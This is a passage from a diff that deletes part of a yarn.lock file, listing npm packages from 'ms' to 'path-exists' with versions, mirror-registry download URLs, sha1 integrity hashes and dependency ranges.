-  resolved "https://registry.npm.taobao.org/ms/download/ms-2.1.3.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-  integrity sha1-V0yBOM4dK1hh8LRFedut1gxmFbI=
-
-multicast-dns-service-types@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/multicast-dns-service-types/download/multicast-dns-service-types-1.1.0.tgz#899f11d9686e5e05cb91b35d5f0e63b773cfc901"
-  integrity sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=
-
-multicast-dns@^6.0.1:
-  version "6.2.3"
-  resolved "https://registry.nlark.com/multicast-dns/download/multicast-dns-6.2.3.tgz#a0ec7bd9055c4282f790c3c82f4e28db3b31b229"
-  integrity sha1-oOx72QVcQoL3kMPIL04o2zsxsik=
-  dependencies:
-    dns-packet "^1.3.1"
-    thunky "^1.0.2"
-
-nan@^2.12.1:
-  version "2.14.2"
-  resolved "https://registry.nlark.com/nan/download/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
-  integrity sha1-9TdkAGlRaPTMaUrJOT0MlYXu6hk=
-
-nanoid@^3.1.23:
-  version "3.1.23"
-  resolved "https://registry.nlark.com/nanoid/download/nanoid-3.1.23.tgz#f744086ce7c2bc47ee0a8472574d5c78e4183a81"
-  integrity sha1-90QIbOfCvEfuCoRyV01ceOQYOoE=
-
-nanomatch@^1.2.9:
-  version "1.2.13"
-  resolved "https://registry.npm.taobao.org/nanomatch/download/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-  integrity sha1-uHqKpPwN6P5r6IiVs4mD/yZb0Rk=
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    fragment-cache "^0.2.1"
-    is-windows "^1.0.2"
-    kind-of "^6.0.2"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-native-url@^0.2.6:
-  version "0.2.6"
-  resolved "https://registry.npm.taobao.org/native-url/download/native-url-0.2.6.tgz#ca1258f5ace169c716ff44eccbddb674e10399ae"
-  integrity sha1-yhJY9azhaccW/0Tsy922dOEDma4=
-  dependencies:
-    querystring "^0.2.0"
-
-natural-compare@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/natural-compare/download/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
-
-negotiator@0.6.2:
-  version "0.6.2"
-  resolved "https://registry.npm.taobao.org/negotiator/download/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-  integrity sha1-/qz3zPUlp3rpY0Q2pkiD/+yjRvs=
-
-neo-async@^2.5.0, neo-async@^2.6.1, neo-async@^2.6.2:
-  version "2.6.2"
-  resolved "https://registry.npm.taobao.org/neo-async/download/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
-  integrity sha1-tKr7k+OustgXTKU88WOrfXMIMF8=
-
-next-tick@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/next-tick/download/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
-  integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
-
-nice-try@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/nice-try/download/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-  integrity sha1-ozeKdpbOfSI+iPybdkvX7xCJ42Y=
-
-no-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/no-case/download/no-case-3.0.4.tgz?cache=0&sync_timestamp=1606867284055&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fno-case%2Fdownload%2Fno-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
-  integrity sha1-02H9XJgA9VhVGoNp/A3NRmK2Ek0=
-  dependencies:
-    lower-case "^2.0.2"
-    tslib "^2.0.3"
-
-node-forge@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.npm.taobao.org/node-forge/download/node-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3"
-  integrity sha1-Mt6ir7Ppkm8C7lzoeUkCaRpna/M=
-
-node-int64@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.nlark.com/node-int64/download/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
-  integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=
-
-node-libs-browser@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.npm.taobao.org/node-libs-browser/download/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
-  integrity sha1-tk9RPRgzhiX5A0bSew0jXmMfZCU=
-  dependencies:
-    assert "^1.1.1"
-    browserify-zlib "^0.2.0"
-    buffer "^4.3.0"
-    console-browserify "^1.1.0"
-    constants-browserify "^1.0.0"
-    crypto-browserify "^3.11.0"
-    domain-browser "^1.1.1"
-    events "^3.0.0"
-    https-browserify "^1.0.0"
-    os-browserify "^0.3.0"
-    path-browserify "0.0.1"
-    process "^0.11.10"
-    punycode "^1.2.4"
-    querystring-es3 "^0.2.0"
-    readable-stream "^2.3.3"
-    stream-browserify "^2.0.1"
-    stream-http "^2.7.2"
-    string_decoder "^1.0.0"
-    timers-browserify "^2.0.4"
-    tty-browserify "0.0.0"
-    url "^0.11.0"
-    util "^0.11.0"
-    vm-browserify "^1.0.1"
-
-node-modules-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/node-modules-regexp/download/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
-  integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
-
-node-notifier@^8.0.0:
-  version "8.0.2"
-  resolved "https://registry.nlark.com/node-notifier/download/node-notifier-8.0.2.tgz?cache=0&sync_timestamp=1621962325593&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnode-notifier%2Fdownload%2Fnode-notifier-8.0.2.tgz#f3167a38ef0d2c8a866a83e318c1ba0efeb702c5"
-  integrity sha1-8xZ6OO8NLIqGaoPjGMG6Dv63AsU=
-  dependencies:
-    growly "^1.3.0"
-    is-wsl "^2.2.0"
-    semver "^7.3.2"
-    shellwords "^0.1.1"
-    uuid "^8.3.0"
-    which "^2.0.2"
-
-node-releases@^1.1.61, node-releases@^1.1.71:
-  version "1.1.73"
-  resolved "https://registry.nlark.com/node-releases/download/node-releases-1.1.73.tgz#dd4e81ddd5277ff846b80b52bb40c49edf7a7b20"
-  integrity sha1-3U6B3dUnf/hGuAtSu0DEnt96eyA=
-
-normalize-package-data@^2.3.2, normalize-package-data@^2.5.0:
-  version "2.5.0"
-  resolved "https://registry.npm.taobao.org/normalize-package-data/download/normalize-package-data-2.5.0.tgz?cache=0&sync_timestamp=1616086811851&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnormalize-package-data%2Fdownload%2Fnormalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
-  integrity sha1-5m2xg4sgDB38IzIl0SyzZSDiNKg=
-  dependencies:
-    hosted-git-info "^2.1.4"
-    resolve "^1.10.0"
-    semver "2 || 3 || 4 || 5"
-    validate-npm-package-license "^3.0.1"
-
-normalize-path@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-  integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
-  dependencies:
-    remove-trailing-separator "^1.0.1"
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/normalize-path/download/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
-  integrity sha1-Dc1p/yOhybEf0JeDFmRKA4ghamU=
-
-normalize-range@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.nlark.com/normalize-range/download/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-  integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=
-
-normalize-url@1.9.1:
-  version "1.9.1"
-  resolved "https://registry.nlark.com/normalize-url/download/normalize-url-1.9.1.tgz#2cc0d66b31ea23036458436e3620d85954c66c3c"
-  integrity sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=
-  dependencies:
-    object-assign "^4.0.1"
-    prepend-http "^1.0.0"
-    query-string "^4.1.0"
-    sort-keys "^1.0.0"
-
-normalize-url@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.nlark.com/normalize-url/download/normalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559"
-  integrity sha1-suHE3E98bVd0PfczpPWXjRhlBVk=
-
-npm-run-path@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
-  dependencies:
-    path-key "^2.0.0"
-
-npm-run-path@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea"
-  integrity sha1-t+zR5e1T2o43pV4cImnguX7XSOo=
-  dependencies:
-    path-key "^3.0.0"
-
-nth-check@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/nth-check/download/nth-check-1.0.2.tgz?cache=0&sync_timestamp=1606860690670&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnth-check%2Fdownload%2Fnth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
-  integrity sha1-sr0pXDfj3VijvwcAN2Zjuk2c8Fw=
-  dependencies:
-    boolbase "~1.0.0"
-
-num2fraction@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.npm.taobao.org/num2fraction/download/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
-  integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=
-
-nwsapi@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/nwsapi/download/nwsapi-2.2.0.tgz#204879a9e3d068ff2a55139c2c772780681a38b7"
-  integrity sha1-IEh5qePQaP8qVROcLHcngGgaOLc=
-
-object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1:
-  version "4.1.1"
-  resolved "https://registry.npm.taobao.org/object-assign/download/object-assign-4.1.1.tgz?cache=0&sync_timestamp=1602657128410&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject-assign%2Fdownload%2Fobject-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
-  integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=
-
-object-copy@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/object-copy/download/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
-  dependencies:
-    copy-descriptor "^0.1.0"
-    define-property "^0.2.5"
-    kind-of "^3.0.3"
-
-object-inspect@^1.10.3, object-inspect@^1.9.0:
-  version "1.10.3"
-  resolved "https://registry.nlark.com/object-inspect/download/object-inspect-1.10.3.tgz#c2aa7d2d09f50c99375704f7a0adf24c5782d369"
-  integrity sha1-wqp9LQn1DJk3VwT3oK3yTFeC02k=
-
-object-is@^1.0.1:
-  version "1.1.5"
-  resolved "https://registry.npm.taobao.org/object-is/download/object-is-1.1.5.tgz?cache=0&sync_timestamp=1613858420069&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject-is%2Fdownload%2Fobject-is-1.1.5.tgz#b9deeaa5fc7f1846a0faecdceec138e5778f53ac"
-  integrity sha1-ud7qpfx/GEag+uzc7sE45XePU6w=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-object-keys@^1.0.12, object-keys@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/object-keys/download/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
-  integrity sha1-HEfyct8nfzsdrwYWd9nILiMixg4=
-
-object-visit@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/object-visit/download/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
-  dependencies:
-    isobject "^3.0.0"
-
-object.assign@^4.1.0, object.assign@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.npm.taobao.org/object.assign/download/object.assign-4.1.2.tgz?cache=0&sync_timestamp=1604115183005&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fobject.assign%2Fdownload%2Fobject.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
-  integrity sha1-DtVKNC7Os3s4/3brgxoOeIy2OUA=
-  dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    has-symbols "^1.0.1"
-    object-keys "^1.1.1"
-
-object.entries@^1.1.0, object.entries@^1.1.4:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/object.entries/download/object.entries-1.1.4.tgz#43ccf9a50bc5fd5b649d45ab1a579f24e088cafd"
-  integrity sha1-Q8z5pQvF/VtknUWrGlefJOCIyv0=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-
-object.fromentries@^2.0.4:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/object.fromentries/download/object.fromentries-2.0.4.tgz#26e1ba5c4571c5c6f0890cef4473066456a120b8"
-  integrity sha1-JuG6XEVxxcbwiQzvRHMGZFahILg=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-    has "^1.0.3"
-
-object.getownpropertydescriptors@^2.0.3, object.getownpropertydescriptors@^2.1.0:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/object.getownpropertydescriptors/download/object.getownpropertydescriptors-2.1.2.tgz#1bd63aeacf0d5d2d2f31b5e393b03a7c601a23f7"
-  integrity sha1-G9Y66s8NXS0vMbXjk7A6fGAaI/c=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-
-object.pick@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/object.pick/download/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
-  dependencies:
-    isobject "^3.0.1"
-
-object.values@^1.1.0, object.values@^1.1.3, object.values@^1.1.4:
-  version "1.1.4"
-  resolved "https://registry.nlark.com/object.values/download/object.values-1.1.4.tgz#0d273762833e816b693a637d30073e7051535b30"
-  integrity sha1-DSc3YoM+gWtpOmN9MAc+cFFTWzA=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-
-obuf@^1.0.0, obuf@^1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/obuf/download/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
-  integrity sha1-Cb6jND1BhZ69RGKS0RydTbYZCE4=
-
-on-finished@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/on-finished/download/on-finished-2.3.0.tgz?cache=0&sync_timestamp=1614930634590&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fon-finished%2Fdownload%2Fon-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-  integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
-  dependencies:
-    ee-first "1.1.1"
-
-on-headers@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/on-headers/download/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
-  integrity sha1-dysK5qqlJcOZ5Imt+tkMQD6zwo8=
-
-once@^1.3.0, once@^1.3.1, once@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/once/download/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
-  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
-  dependencies:
-    wrappy "1"
-
-onetime@^5.1.0:
-  version "5.1.2"
-  resolved "https://registry.npm.taobao.org/onetime/download/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
-  integrity sha1-0Oluu1awdHbfHdnEgG5SN5hcpF4=
-  dependencies:
-    mimic-fn "^2.1.0"
-
-open@^7.0.2:
-  version "7.4.2"
-  resolved "https://registry.nlark.com/open/download/open-7.4.2.tgz#b8147e26dcf3e426316c730089fd71edd29c2321"
-  integrity sha1-uBR+Jtzz5CYxbHMAif1x7dKcIyE=
-  dependencies:
-    is-docker "^2.0.0"
-    is-wsl "^2.1.1"
-
-opn@^5.5.0:
-  version "5.5.0"
-  resolved "https://registry.npm.taobao.org/opn/download/opn-5.5.0.tgz#fc7164fab56d235904c51c3b27da6758ca3b9bfc"
-  integrity sha1-/HFk+rVtI1kExRw7J9pnWMo7m/w=
-  dependencies:
-    is-wsl "^1.1.0"
-
-optimize-css-assets-webpack-plugin@5.0.4:
-  version "5.0.4"
-  resolved "https://registry.nlark.com/optimize-css-assets-webpack-plugin/download/optimize-css-assets-webpack-plugin-5.0.4.tgz?cache=0&sync_timestamp=1621216382664&other_urls=https%3A%2F%2Fregistry.nlark.com%2Foptimize-css-assets-webpack-plugin%2Fdownload%2Foptimize-css-assets-webpack-plugin-5.0.4.tgz#85883c6528aaa02e30bbad9908c92926bb52dc90"
-  integrity sha1-hYg8ZSiqoC4wu62ZCMkpJrtS3JA=
-  dependencies:
-    cssnano "^4.1.10"
-    last-call-webpack-plugin "^3.0.0"
-
-optionator@^0.8.1:
-  version "0.8.3"
-  resolved "https://registry.npm.taobao.org/optionator/download/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
-  integrity sha1-hPodA2/p08fiHZmIS2ARZ+yPtJU=
-  dependencies:
-    deep-is "~0.1.3"
-    fast-levenshtein "~2.0.6"
-    levn "~0.3.0"
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-    word-wrap "~1.2.3"
-
-optionator@^0.9.1:
-  version "0.9.1"
-  resolved "https://registry.npm.taobao.org/optionator/download/optionator-0.9.1.tgz#4f236a6373dae0566a6d43e1326674f50c291499"
-  integrity sha1-TyNqY3Pa4FZqbUPhMmZ09QwpFJk=
-  dependencies:
-    deep-is "^0.1.3"
-    fast-levenshtein "^2.0.6"
-    levn "^0.4.1"
-    prelude-ls "^1.2.1"
-    type-check "^0.4.0"
-    word-wrap "^1.2.3"
-
-original@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/original/download/original-1.0.2.tgz#e442a61cffe1c5fd20a65f3261c26663b303f25f"
-  integrity sha1-5EKmHP/hxf0gpl8yYcJmY7MD8l8=
-  dependencies:
-    url-parse "^1.4.3"
-
-os-browserify@^0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/os-browserify/download/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
-  integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
-
-p-each-series@^2.1.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/p-each-series/download/p-each-series-2.2.0.tgz?cache=0&sync_timestamp=1617946660217&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-each-series%2Fdownload%2Fp-each-series-2.2.0.tgz#105ab0357ce72b202a8a8b94933672657b5e2a9a"
-  integrity sha1-EFqwNXznKyAqiouUkzZyZXteKpo=
-
-p-finally@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/p-finally/download/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-  integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
-
-p-limit@^1.1.0:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/p-limit/download/p-limit-1.3.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-1.3.0.tgz#b86bd5f0c25690911c7590fcbfc2010d54b3ccb8"
-  integrity sha1-uGvV8MJWkJEcdZD8v8IBDVSzzLg=
-  dependencies:
-    p-try "^1.0.0"
-
-p-limit@^2.0.0, p-limit@^2.2.0:
-  version "2.3.0"
-  resolved "https://registry.npm.taobao.org/p-limit/download/p-limit-2.3.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
-  integrity sha1-PdM8ZHohT9//2DWTPrCG2g3CHbE=
-  dependencies:
-    p-try "^2.0.0"
-
-p-limit@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/p-limit/download/p-limit-3.1.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
-  integrity sha1-4drMvnjQ0TiMoYxk/qOOPlfjcGs=
-  dependencies:
-    yocto-queue "^0.1.0"
-
-p-locate@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/p-locate/download/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43"
-  integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=
-  dependencies:
-    p-limit "^1.1.0"
-
-p-locate@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/p-locate/download/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
-  integrity sha1-Mi1poFwCZLJZl9n0DNiokasAZKQ=
-  dependencies:
-    p-limit "^2.0.0"
-
-p-locate@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/p-locate/download/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
-  integrity sha1-o0KLtwiLOmApL2aRkni3wpetTwc=
-  dependencies:
-    p-limit "^2.2.0"
-
-p-map@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/p-map/download/p-map-2.1.0.tgz#310928feef9c9ecc65b68b17693018a665cea175"
-  integrity sha1-MQko/u+cnsxltosXaTAYpmXOoXU=
-
-p-map@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/p-map/download/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b"
-  integrity sha1-uy+Vpe2i7BaOySdOBqdHw+KQTSs=
-  dependencies:
-    aggregate-error "^3.0.0"
-
-p-retry@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/p-retry/download/p-retry-3.0.1.tgz#316b4c8893e2c8dc1cfa891f406c4b422bebf328"
-  integrity sha1-MWtMiJPiyNwc+okfQGxLQivr8yg=
-  dependencies:
-    retry "^0.12.0"
-
-p-try@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/p-try/download/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3"
-  integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=
-
-p-try@^2.0.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/p-try/download/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
-  integrity sha1-yyhoVA4xPWHeWPr741zpAE1VQOY=
-
-pako@~1.0.5:
-  version "1.0.11"
-  resolved "https://registry.npm.taobao.org/pako/download/pako-1.0.11.tgz?cache=0&sync_timestamp=1610208924901&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpako%2Fdownload%2Fpako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf"
-  integrity sha1-bJWZ00DVTf05RjgCUqNXBaa5kr8=
-
-parallel-transform@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/parallel-transform/download/parallel-transform-1.2.0.tgz#9049ca37d6cb2182c3b1d2c720be94d14a5814fc"
-  integrity sha1-kEnKN9bLIYLDsdLHIL6U0UpYFPw=
-  dependencies:
-    cyclist "^1.0.1"
-    inherits "^2.0.3"
-    readable-stream "^2.1.5"
-
-param-case@^3.0.3:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/param-case/download/param-case-3.0.4.tgz?cache=0&sync_timestamp=1606867311360&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fparam-case%2Fdownload%2Fparam-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
-  integrity sha1-fRf+SqEr3jTUp32RrPtiGcqtAcU=
-  dependencies:
-    dot-case "^3.0.4"
-    tslib "^2.0.3"
-
-parent-module@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/parent-module/download/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
-  integrity sha1-aR0nCeeMefrjoVZiJFLQB2LKqqI=
-  dependencies:
-    callsites "^3.0.0"
-
-parse-asn1@^5.0.0, parse-asn1@^5.1.5:
-  version "5.1.6"
-  resolved "https://registry.npm.taobao.org/parse-asn1/download/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
-  integrity sha1-OFCAo+wTy2KmLTlAnLPoiETNrtQ=
-  dependencies:
-    asn1.js "^5.2.0"
-    browserify-aes "^1.0.0"
-    evp_bytestokey "^1.0.0"
-    pbkdf2 "^3.0.3"
-    safe-buffer "^5.1.1"
-
-parse-json@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/parse-json/download/parse-json-4.0.0.tgz#be35f5425be1f7f6c747184f98a788cb99477ee0"
-  integrity sha1-vjX1Qlvh9/bHRxhPmKeIy5lHfuA=
-  dependencies:
-    error-ex "^1.3.1"
-    json-parse-better-errors "^1.0.1"
-
-parse-json@^5.0.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/parse-json/download/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
-  integrity sha1-x2/Gbe5UIxyWKyK8yKcs8vmXU80=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    error-ex "^1.3.1"
-    json-parse-even-better-errors "^2.3.0"
-    lines-and-columns "^1.1.6"
-
-parse5@6.0.1:
-  version "6.0.1"
-  resolved "https://registry.npm.taobao.org/parse5/download/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
-  integrity sha1-4aHAhcVps9wIMhGE8Zo5zCf3wws=
-
-parseurl@~1.3.2, parseurl@~1.3.3:
-  version "1.3.3"
-  resolved "https://registry.npm.taobao.org/parseurl/download/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
-  integrity sha1-naGee+6NEt/wUT7Vt2lXeTvC6NQ=
-
-pascal-case@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.npm.taobao.org/pascal-case/download/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
-  integrity sha1-tI4O8rmOIF58Ha50fQsVCCN2YOs=
-  dependencies:
-    no-case "^3.0.4"
-    tslib "^2.0.3"
-
-pascalcase@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.nlark.com/pascalcase/download/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
-
-path-browserify@0.0.1:
-  version "0.0.1"
-  resolved "https://registry.npm.taobao.org/path-browserify/download/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a"
-  integrity sha1-5sTd1+06onxoogzE5Q4aTug7vEo=
-
-path-dirname@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/path-dirname/download/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-  integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
-
-path-exists@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
-  integrity sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=
-
-path-exists@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/path-exists/download/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
-  integrity sha1-UTvb4tO5XXdi6METfvoZXGxhtbM=
-
